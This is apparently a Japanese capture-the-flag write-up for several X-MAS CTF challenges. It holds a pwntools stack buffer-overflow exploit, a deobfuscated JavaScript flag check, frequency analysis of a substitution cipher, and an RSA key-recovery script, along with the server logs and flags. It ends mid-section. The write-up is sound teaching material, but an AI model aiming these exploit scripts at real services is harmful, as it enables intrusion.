335, 282, 463, 320, 180, 318, 88, 169, 406, 206, 28, 430, 319, 349, 179, 462, 92, 353, 367, 53, 244, 431, 299, 139, 162, 79, 442, 425, 479, 361, 185, 107, 97, 437, 275, 117, 7, 316, 392, 11, 58, 118, 159, 169, 232, 324, 168, 4, 320, 62, 226, 320, 380, 39, 97, 17, 144, 119, 76, 131, 230, 421, 452, 432, 455, 55, 261, 141, 300, 167, 357, 176, 491, 334, 151, 121, 369, 259, 256, 301, 377, 429, 478, 167, 29, 117, 494, 304, 81, 291, 181, 424, 88, 393, 162, 411, 450, 461, 45, 329, 247, 177, 280, 108, 390, 274, 133, 463, 290, 470, 381, 91, 295, 271, 180, 356, 391, 467, 74, 447, 403, 268, 198, 343, 363, 264, 341, 19, 226, 140, 85, 103, 24, 498, 223, 253, 228, 447, 136, 436, 366, 416, 25, 271, 41, 434, 358, 291, 15, 74, 129, 13, 251, 453, 293, 35, 23, 214, 323, 182, 455, 206, 63, 201, 327, 451, 218, 378, 458, 392, 76, 174, 302, 127, 318, 220, 327, 401, 292, 202, 335, 32, 224, 316, 236, 97, 423, 48, 213, 349, 12, 248, 477, 209, 241, 47, 458, 74, 304, 462, 96, 457, 366, 122, 458, 66, 102, 391, 110, 145, 135, 414, 171, 217, 272, 337, 53, 149, 116, 309, 228, 367, 78, 55, 471, 398, 457, 87, 353, 345, 318, 21, 140, 359, 126, 235, 131, 115, 31, 486, 91, 254, 413, 437, 162, 396, 470, 388, 313, 300, 34, 298, 190, 471, 306, 153, 357, 259, 112, 430, 453, 358, 308, 391, 415, 470, 415, 48, 247, 425, 282, 59, 451, 55, 152, 143, 303, 195, 207, 280, 3, 243, 93, 152, 482, 139, 136, 62, 398, 84, 155, 467, 149, 238, 154, 293, 45, 292, 92, 283, 262, 66, 127, 124, 62, 181, 404, 31, 352, 252, 305, 27, 352, 469, 271, 428, 304, 177, 210, 435, 257, 353, 305, 363, 444, 130, 92, 220, 417, 11]
k1 = 135
k2 = 128
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6; 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 499, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 498, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 497, 496, 496, 496, 496, 496, 496, 496, 496, 496, 496, 496, 496, 496, 496, 496, 496, 496, 496, 495, 495, 495
Good, that's right!
Those are some was lightning quick reflexes you've got there!
 Here's your flag: X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l}
X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l}

Do I know you? (Binary Exploitation)

Ghidraでデコンパイルする。

undefined8 FUN_001007fa(void)

{
  long in_FS_OFFSET;
  char local_38 [32];
  long local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Hi there. Do I recognize you?");
  gets(local_38);
  if (local_18 != 0xdeadbeef) {
    puts("Nope.....I have no idea who you are");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("X-MAS{Fake flag. You\'ll get the real one from the server }");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

local_38をバッファオーバフローさせ、local_18のアドレスが\xef\xbe\xad\xdeになるようにする。

from pwn import *

p = remote('challs.xmas.htsp.ro', 2008)
#p = process('./chall')

data = p.recvline().rstrip()
print data
payload = 'a' * 32 + p64(0xdeadbeef)
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to challs.xmas.htsp.ro on port 2008: Done
Hi there. Do I recognize you?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ�\x00\x00
X-MAS{ah_yes__i_d0_rememb3r_you}
[*] Closed connection to challs.xmas.htsp.ro port 2008
X-MAS{ah_yes__i_d0_rememb3r_you}

Santa's consolation (Web Exploitation)

0bin.netのスクリプトを整形する。

function check(s) {
    const k = "MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg==";
    const k1 = atob(k).split('').reverse().join('');
    return bobify(s) === k1;
}

function bobify(s) {
    if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z')) return "[REDACTED]";
    const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]');
    const s2 = encodeURI(s1).split('').map(c => c.charCodeAt(0)).join('|');
    const s3 = btoa("D@\xc0\t1\x03\xd3M4" + s2);
    return s3;
}

function win(x) {
    return check(x) ? "X-MAS{" + x + "}" : "[REDACTED]";
}
k1 = ?????????115|37|53|66|37|53|68|97|37|53|66|37|53|68|110|37|53|66|37|53|68|116|37|53|66|37|53|68|97|37|53|66|37|53|68|122|37|53|66|37|53|68|119|37|53|66|37|53|68|105|37|53|66|37|53|68|115|37|53|66|37|53|68|104|37|53|66|37|53|68|101|37|53|66|37|53|68|115|37|53|66|37|53|68|122|37|53|66|37|53|68|121|37|53|66|37|53|68|48|37|53|66|37|53|68|117|37|53|66|37|53|68|122|37|53|66|37|53|68|99|37|53|66|37|53|68|114|37|53|66|37|53|68|97|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|117|37|53|66|37|53|68|110|37|53|66|37|53|68|122|37|53|66|37|53|68|102|37|53|66|37|53|68|101|37|53|66|37|53|68|114|37|53|66|37|53|68|105|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|116
s3 = 115|37|53|66|37|53|68|97|37|53|66|37|53|68|110|37|53|66|37|53|68|116|37|53|66|37|53|68|97|37|53|66|37|53|68|122|37|53|66|37|53|68|119|37|53|66|37|53|68|105|37|53|66|37|53|68|115|37|53|66|37|53|68|104|37|53|66|37|53|68|101|37|53|66|37|53|68|115|37|53|66|37|53|68|122|37|53|66|37|53|68|121|37|53|66|37|53|68|48|37|53|66|37|53|68|117|37|53|66|37|53|68|122|37|53|66|37|53|68|99|37|53|66|37|53|68|114|37|53|66|37|53|68|97|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|117|37|53|66|37|53|68|110|37|53|66|37|53|68|122|37|53|66|37|53|68|102|37|53|66|37|53|68|101|37|53|66|37|53|68|114|37|53|66|37|53|68|105|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|116

s2は|区切りのASCIIコードをデコードし、URLデコードすれば取得できる。また、s1は[]を削除し、"a"を"4"に、"e"を"3"に...と元に戻していけば、入力のsが求められる。

k = 'MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg=='

s2 = k.decode('base64')[::-1][12:].decode('base64')

s1 = ''.join([chr(code) for code in map(int, s2.split('|'))])
s = s1.replace('%5B', '').replace('%5D', '')
s = s.replace('a', '4').replace('e', '3').replace('i', '1')
s = s.replace('t', '7').replace('z', '_')
print s

実行結果は以下の通り。

s4n74_w1sh3s_y0u_cr4c1un_f3r1c17
X-MAS{s4n74_w1sh3s_y0u_cr4c1un_f3r1c17}

Scrambled Carol (Cryptography)

seed: 32bitランダム整数
random.seed(seed)
old_sigma = "0123456789abcdef"
new_sigmaはold_sigmaをシャッフルしたもの

暗号化は16進数を決まった規則で置換している。頻度分析を元に復号する。

with open('output.txt', 'r') as f:
    enc = f.read()

#### research ####
hs = {}
for i in range(0, len(enc), 2):
    h = enc[i:i+2]
    if h not in hs:
        hs[h] = 1
    else:
        hs[h] += 1
    if h == '10':
        print h

hs = sorted(hs.items(), key=lambda x:x[1])
print '[+]', hs

#### frequency analysis ####
enc_sigma = '0123456789abcdef'
dec_sigma = '62e43cb901df578a'

enc = list(enc)
enc = [dec_sigma[enc_sigma.index(c)] for c in enc]
enc = ''.join(enc)

#### decrypt ####
dec = enc.decode('hex')
print dec

実行結果は以下の通り。

[+] [('cd', 1), ('32', 1), ('de', 1), ('c8', 1), ('33', 1), ('1d', 2), ('39', 2), ('37', 2), ('0f', 2), ('c4', 3), ('30', 3), ('34', 3), ('46', 4), ('31', 4), ('36', 4), ('35', 4), ('06', 5), ('c3', 7), ('19', 7), ('3b', 9), ('04', 11), ('d0', 12), ('12', 13), ('d8', 14), ('15', 14), ('00', 15), ('01', 16), ('3e', 16), ('0a', 18), ('dc', 19), ('dd', 24), ('d7', 25), ('03', 29), ('8f', 35), ('0d', 37), ('0e', 51), ('d3', 53), ('05', 58), ('d4', 67), ('09', 67), ('02', 69), ('07', 77), ('0b', 77), ('d1', 78), ('0c', 113), ('18', 210)]
O holy night! The stars are brightly shining,
It is the night of our dear Saviour's birth.
Long lay the world in sin and error pining,
Till He appear'd and the soul felt its worth.
A thrill of hope, the weary world rejoices,
For yonder breaks a new and glorious morn.

Fall on your knees! O hear the angel voices!
O night divine, O night when Christ was born;
O night divine, O night, O night Divine.

Led by the light of Faith serenely beaming,
With glowing hearts by His cradle we stand.
So led by light of a star sweetly gleaming,
Here come the wise men from the Orient land.
The King of Kings lay thus in lowly manger;
In all our trials born to be our friend.

He knows our need, to our weaknesses no stranger,
Behold your King! Before Him lowly bend!
Behold your King, Before Him lowly bend!

Truly He taught us to love one another;
His law is love and His gospel is peace.
Chains shall He break for the slave is our brother;
And in His name all oppression shall cease.
Sweet hymns of joy in grateful chorus raise we,
Let all within us praise His holy name.

Christ is the Lord! O praise His Name forever,
His power and glory evermore proclaim.
His power and glory evermore proclaim.

This carol was encoded to garbage by HTsP gang.
The flag is xmaswasneverasgoodasitisthisyear
xmaswasneverasgoodasitisthisyear

Santa's public key factory (Cryptography)

サーバの処理の概要は以下の通り。

・PoW
・secret_message: ランダム8バイト文字列の16進数文字列
・cipher: 
 ・exp = ランダムな32以上1023未満の数で16個の配列
・1を指定
 ・secret_messageの数値化(10進数)
 ・pubkey, privkey = cipher.get_key()
  ・p = self.get_prime()
   ・2**exp[i]の和(ただし、足さないものもある)
    ⇒次の素数
  ・q = self.get_prime()
  ・e = 0x10001
  ・n = p * q
  ・phi = (p - 1) * (q - 1)
  ・d = inverse(e, phi)
  ・pubkey = (n, e)
  ・privkey = (n, e, d, p, q)
 ・ct = hex(cipher.encrypt(msg, pubkey))[2:]
  ・pow(msg, e, n)
 ・n, e = pubkey
 ・ct, n, eを表示
・2を指定
 ・secret_messageを当てたら、フラグを表示

pとqの生成するアルゴリズムを逆手にとって、nからp, qを復元する。組合せによって、正確に復元するのが難しいため、一定の精度が出たところで試す。

import socket
from string import *
from itertools import *
from hashlib import sha256
from binascii import hexlify, unhexlify
from Crypto.Util.number import *
from gmpy2 import next_prime

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def check_same_coeff(a, b):
    if len(a) != len(b):
        return False
    for i in range(len(a)):
        if a[i] != b[i]:
            return False
    return True

def check_known_sum(a, b, c, sum):
    A = a + c
    B = b + c
    for i in range(len(A)):
        for j in range(len(B)):
            if A[i] in c and B[j] in c:
                if A[i] == B[j]:
                    if A[i] + B[j] == sum:
                        return True
                else:
                    if A[i] + B[j] + 1 == sum:
                        return True
            elif A[i] + B[j] == sum:
                return True
    return False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.xmas.htsp.ro', 1000))

data = recvuntil(s, '\n').rstrip()
print data
h_tail = data[-5:]

data = recvuntil(s, '\n').rstrip()
print data

for c in product(printable, repeat=4):
    text = hexlify(''.join(c))
    if sha256(unhexlify(text)).hexdigest()[-5:] == h_tail:
        print text
        s.sendall(text + '\n')
        break

data = recvuntil(s, 'exit\n').rstrip()
print data

for round in range(256):
    print 'Round %d' % (round + 1)
    print '1'
    s.sendall('1\n')

    data = recvuntil(s, 'exit\n').rstrip()
    print data
    n = int(data.split('\n')[3].split(': ')[1])
    e = int(data.split('\n')[4].split(': ')[1])
    c = int(data.split('\n')[1][:-1].split(': ')[1], 16)

    bin_n = bin(n)[2:]
    coeff = []
    for i in range(len(bin_n)-1, 63, -1):
        if bin_n[len(bin_n)-1-i] == '1':
            coeff.append(i)

    p_coeff = []
    q_coeff = []
    pq_coeff = [1023]

    for i in range(1, len(coeff)):
        if check_known_sum(p_coeff, q_coeff, pq_coeff, coeff[i]):
            continue

        d = coeff[i] - 1023
        if d < 32:
            break

        if check_same_coeff(p_coeff, q_coeff):
            if (d - 1) * 2 not in coeff:
                p_coeff += [d]
            else:
                pq_coeff += [d - 1]

        else:
            next = True
            if d * 2 in coeff:
                next = False
                found = True
                for j in range(1, len(pq_coeff)):
                    if d + 1 + pq_coeff[j] not in coeff:
                        found = False
                        break
                if found:
                    pq_coeff += [d]

            elif (d - 1) * 2 in coeff:
                next = False
                found = True
                for j in range(1, len(pq_coeff)):
                    if d + pq_coeff[j] not in coeff:
                        found = False
                        break
                if found:
                    for j in range(len(p_coeff)):
                        if d - 1+ p_coeff[j] not in coeff:
                            found = False
                            break
                    if found:
                        for j in range(len(q_coeff)):
                            if d - 1 + q_coeff[j] not in coeff:
                                found = False
                                break
                        if found:
                            pq_coeff += [d - 1]

            if next:
                found = True
                for j in range(1, len(pq_coeff)):
                    if d + pq_coeff[j] not in coeff:
                        found = False
                        break
                if found:
                    for j in range(len(p_coeff)):
                        if d + p_coeff[j] not in coeff:
                            found = False
                            break
                    if found:
                        q_coeff += [d]
                    else:
                        found = True
                        for j in range(len(q_coeff)):
                            if d + q_coeff[j] not in coeff:
                                found = False
                                break
                        if found:
                            p_coeff += [d]

    pq = sum([2**exp for exp in pq_coeff])
    p = next_prime(pq + sum([2**exp for exp in p_coeff]))
    q = next_prime(pq + sum([2**exp for exp in q_coeff]))

    if n % p == 0:
        q = n / p
        break
    elif n % q == 0:
        p = n / q
        break

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
secret_message = long_to_bytes(m).encode('hex')

print '2'
s.sendall('2\n')
data = recvuntil(s, '.\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
print secret_message
s.sendall(secret_message + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Provide a hex string X such that sha256(unhexlify(X))[-5:] = 47103

3068340d
Good, you can continue!
Welcome to Santa's public key factory, here we create the world's highest quality keys.
Since this is an annanounced visit you can look through at most 256 keys.
As a bonus, try to use those keys to find what Santa's secret message for you is.
Choose what you want to do:
1. get encrypted secret message
2. guess the secret message
3. exit
Round 1
1

Here is the encrypted secret message: 4cafe42ddcf5a2a1b9acfc9a2073c8b0fe5a7f4cf2ccac24812b9e9631b111166792271c19f838f93c63f9e5aaa243cd226ef5d8c0a6d9e72cd113a55d7f5447ac1968478cfa737d5017e79abfc9e1cec01792d883acc42e8d7b7cf275666f9d5f75da1ccfeabe62a09d9726ca51cd59619bd6cf6963b9baad5400ad1b2ad4084a20f24dc1c5e94f9076d4d091f2c24aee15f3b4a57f3f45de7ac15fa9fb471b45d56a88f1a7ab871cf2070b6294a441d5d346c3127b740b66a3a727e465b0e4f70b641410949ac61773e5c327fa6eea716580c13f3031729d77f8b8b6995af9969a9ec4e4b3deb34f222cf5523d650b4356d4f9b8c00a405abb6aa78b5504a5.
Ah, and also here's the public key with which it was encrypted:
n: 12119062196133667862703042260429554695668508836631107104332771051927309607127131486697162647906692883455581152129483075756936679329754282855644789789800965318930665561613750937967690652541280428558067000429248235228843864307695382729351436859206875441777715131348220008530087241533727928820340992424378386252541402227820242820969187674051769460162454176390035452315314005347776448170687723020619578976407953109498309669148691409518808081518979307385578109508363333190343952041374305474484391907833658360346496016876768120933919661635383338925098197105719831498399385048951214690530522299771221112511115203667336874253
e: 65537

Choose what you want to do:
1. get encrypted secret message
2. guess the secret message
3. exit
Round 2
1

Here is the encrypted secret message: 70337d396610e4871d4e55684eb9f6caa8b99f56591bb98d38c6c3fdddd3dd617722726b3480b2a67a23a076c066c3c602d819e5808a64ac09bd99615bba6859a11d6b89ecb34d1fa81a9e6684acf8b3bf481966aefa7ee3716798e2c8fe6a3086877209b4b0e0bae94a30e5f4c8e75b90ca57d3ec4e91d84fad1c14b1ee90e8a67f7812e2b22223b709a4d93338a1e961d9229d199b4649f47e4d33223d8c53da7e5d287d4274adc67b2f0f9cf72fd24b2d9a399d4bca38848778c08687180bbb0c1ea34070844d141720fae3e02da02a9d60e647e18146a484aa3e6eca9f78c94e7217790b3444a3cd98469d18eee29d55703722036319465b7cc6ab97751.
Ah, and also here's the public key with which it was encrypted:
n: 8079374797422445241802028173619703130493158130344465973591248966466148889746767226459875582330038276371109119022510276369033691113445572341331612954792962821824466656366518950030933707581638350844424875213301476482871629070994162890461423215602147076452762169621282975065478903653331544615814452903710987565632178986900368265498383559364179766875585664767576948235084070220705471005749394267097669471598912341060393997989848238204562785491060876323811528319818884997567216592736892824968308162214027825832197557371463426236776480054521944099905656274340477666874222886674256591925376654485410612319722991598864178851
e: 65537

Choose what you want to do:
1. get encrypted secret message
2. guess the secret message
3. exit
Round 3
1

Here is the encrypted secret message: 500e7de990c813959db8f737044c88b19e8d719e237400167d8e2f55f5cf74a45ca8b6ac2a438a50025b6a342486245db2d542499c9bef49cec2d5deb4993260e8128df95d6ec00d32b1957d40e3162fe04c4dbc87ff945099d939bf04d2811b3cb6446be6e9c1f020eed3ee5b4606d83ac4222417cb347c2a342a3776c82f4d1d9187451ab451759c6648919298ba709cccf2f76640248dd12756eb83a51c06610793fb1583ee895fd4523bac995c41fb810baf2c4f8509b019e340f5bb79d0b0174693aac1bd614db3b3549ca00af5b72f5496e1e8b3232f908b9e1ea36879d4d66e0e729df28eda91393f3bf700d5205e10888bb4185c3d0951270b5ea2f0.
Ah, and also here's the public key with which it was encrypted:
n: 12119185477609458610463689874384843752907641034759261963696286809824005761544522763053171255822255091813588644605720419847849604133618935594692095216034875778512288510874467775497718487727411550446491473728849430973868225951276390541633953451748283030632497765050826405924729891297415286937343287666305261980716807634941903813026938583761961952192075242735354625288636585636964049548285763265499405668995714551196529232410124714283045151606116083076089364630907162914580181424351141740556893966653280289764429834415023516624838501872616026835007555008885568618818972280332298693591880749013282325423474294296783178469
e: 65537

Choose what you want to do:
1. get encrypted secret message
2. guess the secret message
3. exit
Round 4
1

Here is the encrypted secret message: 487e84ef7184e5f52d416337df6bdf7eb9815c3b69a85768b04c5eae85ceea91d85412a70265b770e3c6e6506bdfcda7c31ca4900c1732d283ecb95bdd1b5031d37eb7612efe50882f517f25df313525e6dd1f511eab7bb24f41eda5f89822968eb04aca0be0cee31265145ad02d8692f21bbb9f435e15dacba33285f04dde1ed6be260f27ba6b788d6b5d67cbfd958e08f5de1087291ad9757410250d257f1b15a45f9512889a9fcb26deea2b0160333f261bddfd51f3216ee8da01f24b77b850e6f5dc4e7c928db124158e1f162ee3d383afbab88891d48a3f2886bab23e5ecad1605c97a73561ef82f7c4ab49be77be9ac2a44b0b9afd487cb27cd3f1d7d5.
Ah, and also here's the public key with which it was encrypted:
n: 18178500834504481731587081639555175356320991585941033292714686131575368617553438995777944702306003443278649178182256276043105391284413268478889504237549633579285894919247477721768066640089414934809351140466704060023577371841795790242726911184119606777755226375003808260835043646788122961781812709984276566696419469723249645952261393545122902408991832358530792897091194008640815891280141005684405378107868139636756021794778833253284418014413713968012922937912899302956482494587989001921572216477287669163024419866983075363890551310221239137228900098114344451333105769963111208141503437504736840211885831629589275135759
e: 65537

Choose what you want to do:
1. get encrypted secret message
2. guess the secret message
3. exit
Round 5
1

Here is the encrypted secret message: 245ee9ac1f0f6c8caa01fc4aeb756f3ee5a16d1fb97d1da171d44b4238218597b7b4bec3d4b81221dbe4ed560033c95cbbbd309b0b02279e7ece164724c9c187ace2dac9d6b5bf2a24914c4e672f81e9e011504f64408197f1d8595a2ad67c9c1c40c70b299c5f04245cc7a2fac7a2711440fad332c30879a37e2a70439a4de3d921d39f69010dd566140a81e3a1cff61d22e97b806b963fd06091495763d4b57482c0ccd270d24642d36dbe1098189110e1234a063b35e7db73dff5d74185a81676f105f9c846da7c6458812a01c81827c1bbca32e068448e82b16120f0b642de2fe45057d3e04fee0c7631334c6b5237c52af64270270069c811a8e61b946e.
Ah, and also here's the public key with which it was encrypted:
n: 12119000556336321154391387759703448681555913606108194264825788938286079109610692466807116376163650276616602742689016981236869024691904997630453905200988945845014434429375295349091882527395583860133567841925476125641174439083283552001726461806087911869339428710035972215371933396197462598495909511642437891035075663017512468173407752203665178626077556216014878874847410741534529299048026056870044142509178452496791276374655834390912208208107106506211375105026498490738833568992230768159954630459479104044596702922888425351965219377882249450382896665582919785341297409654588097324870536821641934204431018759567704112057
e: 65537

Choose what you want to do:
1. get encrypted secret message
2. guess the secret message
3. exit
Round 6
1

Here is the encrypted secret message: 3f95929d583dca0f2a6ada06c839a3160dfb0b30bf5c67351b2f8e3fd99d5b9d59aa0b2e649f8696b39488a4dc26ae384d72b167e33ccc57f7e8902ba48d7ff69b7080cfff22e46a1c1c1741b384b71dea01cd80fecd7d4088a138eec6904fbb2afaefbd7a452a8eb36d710dd5c5d8b68db821e2c1d1e31632ec65a4e2d024258ce087d813ea1c2cac5c0d04807f2e37b9ced7e5b60cde36a0632f9905ee53ea1b7782f8cca59cc278684e7697263fdcc8b3f34101fb61b3024d6ceea94ac2ccea81c4a2a2baebbdce5a3de044539a7dab69b6fa19051702bd3fec7e0c8f7712ea77741f41f1ff525c9c896b7b26f51c3543b377dc3e054d4ab6dfaaa7080292.
Ah, and also here's the public key with which it was encrypted:
n: 18178685755777619187659383754236562647589020231755242484791215104366213738210898472842943882084819271044504052162374845454664025178247400019627314840800941238392710659434026896617844211477428604971195175770085129938498052679539669008316046656184945294979735663063867026007545517728956001088948999338639798213875411038983337664845083809784878562639899552034285909328258624295648522740457115502356629239719649513657166323045082107040213593540283336405364591561187523034559693398168405651981249809898819405241141966634914888612373949913340292673041381622166708707203487087431393698137924269285163828411333106587461083709
e: 65537

Choose what you want to do:
1. get encrypted secret message
2. guess the secret message
3. exit
Round 7
1

Here is the encrypted secret message: 1a698f1345ec515f34ac2498c016d12ad577288e63da0ae4dcc890111d6b1319517160388f79ef7a3570d5150da1abc0ed787f1890635200e4e6f847d6e0120f02a758de07e0d6bade4b0638488e17793e7a71969ccf2b843854bcfbd957694c00d285451637afa0a550a8876f42a84a41fba4563b82bfc20e7edd6ce1c9da95ab094e95d3d99bb85d20e24af504a43d74bd4cba03d169449b7271c965a80e9a7605cb186732e4c028c5fe7938c87dadd34604e7942936ad3183b75e26e0b7a886670170dfa30000b621bd4a01ee6eefba4f7d9a140cc1a5364127639205e1f2cf4c01a0cb34f33571b749142794ca79d20cc18627a5d0e1a9aa7e7970e9b1cc.
Ah, and also here's the public key with which it was encrypted:
n: 8079374797422445241802028173619700018431187273655485828452020447859509749740543233747356865882648488751272673461077261377604848492685995773321779494465352231441635065261605392511816779436242064645922989773991588066101040588376595158610383603122023542736569391791763240585448744751929807346600098593456358004575929615762949839240934431406070525812255025521272088267440979588980412208152853068765941647053345234295800057596836455690504874341261932046734392488454778972410949401598086924462964491401559197407409757796928702762380633076990128472986515685168440585462025898809262285309566078645604243743311354595885394247
e: 65537

Choose what you want to do:
1. get encrypted secret message
2. guess the secret message
3. exit
2

Let's see what you've got.

9a61f0acf05cab7c
It seems you are a genius, we can't understand how you did it, but you did.
Here's your flag: X-MAS{M4yb3_50m3__m0re_r4nd0mn3s5_w0u1d_b3_n1ce_eb0b0506}
X-MAS{M4yb3_50m3__m0re_r4nd0mn3s5_w0u1d_b3_n1ce_eb0b0506}

Help a Santa helper? (Cryptography)

異なるメッセージで、同じHashを指定できればよい。
ハッシュのアルゴリズムのイメージは以下の通り。

P1           --(AES-ECB暗号化)--> C1 ^ P1
P2 ^ C1 ^ P1 --(AES-ECB暗号化)--> C2 ^ P2 -> ハッシュ

パディングは16の倍数になるように\x00が付く。16の倍数の場合はパディングされない。

O = '\x00' * 16 とする。

■1ブロック目:Oの場合
1:O            --(AES-ECB暗号化)--> C1 ^ O = C1

■1ブロック目:O、2ブロック目:C1の場合
1:O            --(AES-ECB暗号化)--> C1 ^ O  = C1
1:O            --(AES-ECB暗号化)--> C1 ^ C1 = O

■1,3ブロック目:O、2ブロック目:C1の場合
1:O            --(AES-ECB暗号化)--> C1 ^ O  = C1
1:O            --(AES-ECB暗号化)--> C1 ^ C1 = O
